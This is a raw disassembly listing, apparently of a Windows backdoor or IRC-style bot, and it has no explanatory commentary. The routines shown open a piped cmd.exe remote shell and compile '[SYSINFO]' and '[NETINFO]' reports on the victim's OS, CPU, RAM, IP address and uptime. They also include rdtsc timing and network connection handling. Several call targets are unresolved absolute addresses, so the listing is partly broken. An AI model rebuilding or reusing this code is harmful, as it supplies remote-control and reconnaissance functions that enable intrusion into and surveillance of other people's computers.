		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_43F9B4
		nop
		call	near ptr 2780589h
		test	eax, eax
		jz	loc_40B4FD
		cmp	[ebp+var_4], edi
		jnz	short loc_40B492
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_43F9B0
		nop
		call	near ptr 2780000h
		test	eax, eax
		jz	short loc_40B488
		cmp	[ebp+var_8], 103h
		jnz	loc_40B521

loc_40B488:				; CODE XREF: sub_40B417+62j
		push	0Ah
		nop
		call	near ptr 26003D2h
		jmp	short loc_40B42F
; ---------------------------------------------------------------------------

loc_40B492:				; CODE XREF: sub_40B417+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_40B4A9

loc_40B499:				; CODE XREF: sub_40B417+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_40B4F7
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_40B499

loc_40B4A9:				; CODE XREF: sub_40B417+80j
		mov	[ebp+var_4], esi

loc_40B4AC:				; CODE XREF: sub_40B417+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_43F9B4
		call	near ptr 2630000h
		nop
		test	eax, eax
		jz	short loc_40B549
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_43F9F4
		call	sub_40B390
		add	esp, 0Ch
		jmp	loc_40B42F
; ---------------------------------------------------------------------------

loc_40B4F7:				; CODE XREF: sub_40B417+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_40B4AC
; ---------------------------------------------------------------------------

loc_40B4FD:				; CODE XREF: sub_40B417+45j
		push	offset dword_42DC0C
		push	ebx
		push	dword_43F9F4
		call	sub_40B390
		push	[ebp+arg_0]
		call	sub_417078
		add	esp, 10h
		push	1
		call	near ptr 25F030Eh
		nop

loc_40B521:				; CODE XREF: sub_40B417+6Bj
		call	sub_40B328
		push	offset dword_42DBD4
		push	ebx
		push	dword_43F9F4
		call	sub_40B390
		push	[ebp+arg_0]
		call	sub_417078
		add	esp, 10h
		push	edi
		nop
		call	near ptr 25F030Eh

loc_40B549:				; CODE XREF: sub_40B417+C3j
		push	offset dword_42DB94
		push	ebx
		push	dword_43F9F4
		call	sub_40B390
		push	[ebp+arg_0]
		call	sub_417078
		add	esp, 10h
		push	edi
		nop
		call	near ptr 25F030Eh
sub_40B417	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B56C	proc near		; CODE XREF: sub_40C351+99p
					; sub_40EE72+5774p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_40B328
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	dword_43F724
		test	eax, eax
		jz	loc_40B666
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_424140
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_40B666
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_40B666
		mov	edi, dword_42413C
		push	3
		push	esi
		push	esi
		push	offset dword_43F9B8
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		call	near ptr 2780947h
		nop
		test	eax, eax
		jz	short loc_40B666
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_417330
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_417330
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_43C80C
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	near ptr 276063Ch
		nop
		test	eax, eax
		jnz	short loc_40B66E

loc_40B666:				; CODE XREF: sub_40B56C+2Fj
					; sub_40B56C+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_40B71C
; ---------------------------------------------------------------------------

loc_40B66E:				; CODE XREF: sub_40B56C+F8j
		push	[ebp+var_4]
		mov	edi, dword_424078
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_43F9B4, eax
		mov	eax, [ebp+var_8]
		mov	dword_43F9BC, eax
		mov	eax, [ebp+var_2C]
		mov	dword_43F9B0, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_43F9F4, eax
		jz	short loc_40B6A8
		push	[ebp+arg_4]
		jmp	short loc_40B6A9
; ---------------------------------------------------------------------------

loc_40B6A8:				; CODE XREF: sub_40B56C+135j
		push	ebx

loc_40B6A9:				; CODE XREF: sub_40B56C+13Aj
		push	offset dword_43F9C0
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	esi
		push	7
		push	offset dword_42DC90
		call	sub_416D5C
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_4450C8[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_40B417
		push	esi
		push	esi
		call	near ptr 2680AA8h
		nop
		cmp	eax, esi
		mov	dword_4450D4[edi], eax
		jnz	short loc_40B71A
		nop
		call	near ptr 2650C45h
		push	eax
		lea	eax, [ebp+var_378]
		push	offset dword_42DC4C
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_40BF6D
		add	esp, 10h

loc_40B71A:				; CODE XREF: sub_40B56C+185j
		xor	eax, eax

loc_40B71C:				; CODE XREF: sub_40B56C+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B56C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B721	proc near		; CODE XREF: sub_407110+74p
					; sub_40B8D8+217p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	near ptr 25F09B1h
		nop
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_43F9FC
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41782A
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B721	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B78A	proc near		; CODE XREF: sub_409037+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		nop
		call	near ptr 27A0000h
		test	eax, eax
		jz	short loc_40B81D
		cmp	[ebp+var_90], 4
		jnz	short loc_40B7F3
		cmp	[ebp+var_8C], esi
		jnz	short loc_40B7DB
		cmp	[ebp+var_84], 1
		jnz	short loc_40B7CE
		push	1
		pop	esi

loc_40B7CE:				; CODE XREF: sub_40B78A+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_40B81D
		push	1
		jmp	short loc_40B81C
; ---------------------------------------------------------------------------

loc_40B7DB:				; CODE XREF: sub_40B78A+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_40B7E8

loc_40B7E4:				; CODE XREF: sub_40B78A+78j
		push	2
		jmp	short loc_40B81C
; ---------------------------------------------------------------------------

loc_40B7E8:				; CODE XREF: sub_40B78A+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_40B81D
		jmp	short loc_40B80D
; ---------------------------------------------------------------------------

loc_40B7F3:				; CODE XREF: sub_40B78A+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_40B81D
		cmp	[ebp+var_8C], esi
		jz	short loc_40B7E4
		cmp	[ebp+var_8C], 1
		jnz	short loc_40B811

loc_40B80D:				; CODE XREF: sub_40B78A+67j
		push	3
		jmp	short loc_40B81C
; ---------------------------------------------------------------------------

loc_40B811:				; CODE XREF: sub_40B78A+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_40B81D
		push	7

loc_40B81C:				; CODE XREF: sub_40B78A+4Fj
					; sub_40B78A+5Cj ...
		pop	esi

loc_40B81D:				; CODE XREF: sub_40B78A+25j
					; sub_40B78A+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40B78A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B822	proc near		; CODE XREF: sub_40B8D8+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h

loc_40B82A:				; CODE XREF: sub_40B822+2Fj
					; sub_40B822+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		nop
		call	near ptr 26003D2h
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_419250
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_40B82A
		jb	short loc_40B859
		cmp	ebx, esi
		ja	short loc_40B82A

loc_40B859:				; CODE XREF: sub_40B822+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_4191D0
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_40B8CC
		jb	short loc_40B878
		cmp	esi, 50h
		jnb	short loc_40B87D

loc_40B878:				; CODE XREF: sub_40B822+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax

loc_40B87D:				; CODE XREF: sub_40B822+54j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B888
		cmp	esi, 47h
		jnb	short loc_40B88D

loc_40B888:				; CODE XREF: sub_40B822+5Fj
		push	42h
		xor	edx, edx
		pop	eax

loc_40B88D:				; CODE XREF: sub_40B822+64j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B898
		cmp	esi, 37h
		jnb	short loc_40B89D

loc_40B898:				; CODE XREF: sub_40B822+6Fj
		push	32h
		xor	edx, edx
		pop	eax

loc_40B89D:				; CODE XREF: sub_40B822+74j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B8A8
		cmp	esi, 26h
		jnb	short loc_40B8AD

loc_40B8A8:				; CODE XREF: sub_40B822+7Fj
		push	21h
		xor	edx, edx
		pop	eax

loc_40B8AD:				; CODE XREF: sub_40B822+84j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B8B8
		cmp	esi, 1Eh
		jnb	short loc_40B8BD

loc_40B8B8:				; CODE XREF: sub_40B822+8Fj
		push	19h
		xor	edx, edx
		pop	eax

loc_40B8BD:				; CODE XREF: sub_40B822+94j
		test	ecx, ecx
		ja	short loc_40B8CC
		jb	short loc_40B8C8
		cmp	esi, 0Ah
		jnb	short loc_40B8CC

loc_40B8C8:				; CODE XREF: sub_40B822+9Fj
		xor	eax, eax
		xor	edx, edx

loc_40B8CC:				; CODE XREF: sub_40B822+4Dj
					; sub_40B822+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40B822	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B8D8	proc near		; CODE XREF: sub_40EE72+59EEp

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_43C80C
		mov	[ebp+var_CC], 94h
		nop
		call	near ptr 27A0000h
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_40B95F
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40B93B
		cmp	[ebp+var_BC], 1
		jnz	short loc_40B925
		mov	[ebp+var_4], offset a95	; "95"

loc_40B925:				; CODE XREF: sub_40B8D8+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_40B9DA
		mov	[ebp+var_4], offset aNt	; "NT"
		jmp	short loc_40B9AB
; ---------------------------------------------------------------------------

loc_40B93B:				; CODE XREF: sub_40B8D8+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_40B94D
		mov	[ebp+var_4], offset a98	; "98"
		jmp	short loc_40B9A2
; ---------------------------------------------------------------------------

loc_40B94D:				; CODE XREF: sub_40B8D8+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_40B99B
		mov	[ebp+var_4], offset aMe	; "ME"
		jmp	short loc_40B9A2
; ---------------------------------------------------------------------------

loc_40B95F:				; CODE XREF: sub_40B8D8+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_40B99B
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40B979
		mov	[ebp+var_4], offset a2k	; "2K"
		jmp	short loc_40B9A2
; ---------------------------------------------------------------------------

loc_40B979:				; CODE XREF: sub_40B8D8+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_40B98B
		mov	[ebp+var_4], offset aXp	; "XP"
		jmp	short loc_40B9A2
; ---------------------------------------------------------------------------

loc_40B98B:				; CODE XREF: sub_40B8D8+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_40B9A2

loc_40B99B:				; CODE XREF: sub_40B8D8+7Cj
					; sub_40B8D8+8Ej
		mov	[ebp+var_4], offset dword_42DDDC

loc_40B9A2:				; CODE XREF: sub_40B8D8+73j
					; sub_40B8D8+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_40B9DA

loc_40B9AB:				; CODE XREF: sub_40B8D8+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_40B9DA
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_42DDD4
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax

loc_40B9DA:				; CODE XREF: sub_40B8D8+54j
					; sub_40B8D8+D1j ...
		mov	ax, word_42DDD0
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_43F554
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_40BA13
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax

loc_40BA13:				; CODE XREF: sub_40B8D8+12Cj
		push	[ebp+arg_4]
		call	sub_40AEE0
		pop	ecx
		push	eax
		call	dword_43F6A8
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_43F620
		cmp	eax, ebx
		jz	short loc_40BA3C
		push	dword ptr [eax]
		jmp	short loc_40BA41
; ---------------------------------------------------------------------------

loc_40BA3C:				; CODE XREF: sub_40B8D8+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"

loc_40BA41:				; CODE XREF: sub_40B8D8+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		nop
		call	near ptr 2600423h
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	near ptr 2680000h
		nop
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	near ptr 2670000h
		nop
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		call	near ptr 27B0000h
		nop
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_4192B8
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_40D12A
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_40B721
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_40D01A
		pop	ecx
		pop	ecx
		push	eax
		call	sub_40B822
		push	edx
		push	eax
		push	offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
		push	200h
		push	[ebp+arg_0]
		call	sub_41782A
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B8D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BB8C	proc near		; CODE XREF: sub_40EE72+4557p
					; sub_40EE72+5A1Fp

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		cmp	dword_43F750, 0
		jnz	short loc_40BBF8
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_43F538
		test	eax, eax
		jnz	short loc_40BBE1
		lea	eax, [ebp+var_8C]
		push	offset dword_42DE50
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_40BBE1:				; CODE XREF: sub_40BB8C+40j
		test	[ebp+var_C], 1
		jz	short loc_40BBEE
		push	offset dword_42DE48
		jmp	short loc_40BBF3
; ---------------------------------------------------------------------------

loc_40BBEE:				; CODE XREF: sub_40BB8C+59j
		push	offset off_42DE44

loc_40BBF3:				; CODE XREF: sub_40BB8C+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_40BC10
; ---------------------------------------------------------------------------

loc_40BBF8:				; CODE XREF: sub_40BB8C+28j
		mov	esi, offset off_42DE40
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_4172B0
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi

loc_40BC10:				; CODE XREF: sub_40BB8C+6Aj
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s	(%s). [IP Address"...
		push	200h
		push	[ebp+arg_0]
		call	sub_41782A
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_40BB8C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BC4B	proc near		; DATA XREF: sub_40EE72+4976o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_42DF80
		call	sub_417330
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_417330
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_417330
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_417330
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_43F570
		test	eax, eax
		jz	loc_40BDE5
		cmp	[ebp+var_34], ebx
		jbe	short loc_40BD22
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_418C10
		add	esp, 0Ch

loc_40BD22:				; CODE XREF: sub_40BC4B+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_40BD40
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_418C10
		add	esp, 0Ch

loc_40BD40:				; CODE XREF: sub_40BC4B+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_40BD5A
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_418C10
		add	esp, 0Ch

loc_40BD5A:				; CODE XREF: sub_40BC4B+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_40BD74
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_418C10
		add	esp, 0Ch

loc_40BD74:				; CODE XREF: sub_40BC4B+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_43F618
		call	dword_43F63C
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_40BDFD
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_43F630
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_40BE04
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_43F5E4
		test	eax, eax
		jz	short loc_40BDDE
		push	offset dword_42DF54
		jmp	short loc_40BE09
; ---------------------------------------------------------------------------

loc_40BDDE:				; CODE XREF: sub_40BC4B+18Aj
		push	offset unk_42DF08
		jmp	short loc_40BE09
; ---------------------------------------------------------------------------

loc_40BDE5:				; CODE XREF: sub_40BC4B+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_42DEDC
		push	eax
		call	sub_4172B0
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_40BE17
; ---------------------------------------------------------------------------

loc_40BDFD:				; CODE XREF: sub_40BC4B+153j
		push	offset unk_42DEA0
		jmp	short loc_40BE09
; ---------------------------------------------------------------------------

loc_40BE04:				; CODE XREF: sub_40BC4B+17Bj
		push	offset unk_42DE60

loc_40BE09:				; CODE XREF: sub_40BC4B+191j
					; sub_40BC4B+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_40BE17:				; CODE XREF: sub_40BC4B+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_40BE42
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_40D679
		add	esp, 14h

loc_40BE42:				; CODE XREF: sub_40BC4B+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_40BF6D
		pop	ecx
		push	esi
		call	dword_43F69C
		push	[ebp+var_4]
		call	dword_43F69C
		push	[ebp+var_1D8]
		call	sub_417078
		pop	ecx
		push	ebx
		call	near ptr 25F030Eh
		nop
		pop	edi
		pop	esi
		pop	ebx
sub_40BC4B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BE75	proc near		; CODE XREF: sub_40EE72+4490p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_444340
		mov	edi, 0B8h

loc_40BE89:				; CODE XREF: sub_40BE75+33j
		cmp	byte ptr [esi],	0
		jz	short loc_40BEAC
		push	[ebp+arg_0]
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40BEAC
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_444EC0
		jl	short loc_40BE89
		jmp	short loc_40BEEE
; ---------------------------------------------------------------------------

loc_40BEAC:				; CODE XREF: sub_40BE75+17j
					; sub_40BE75+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_444340[esi]
		push	ebx
		call	sub_417330
		push	17h
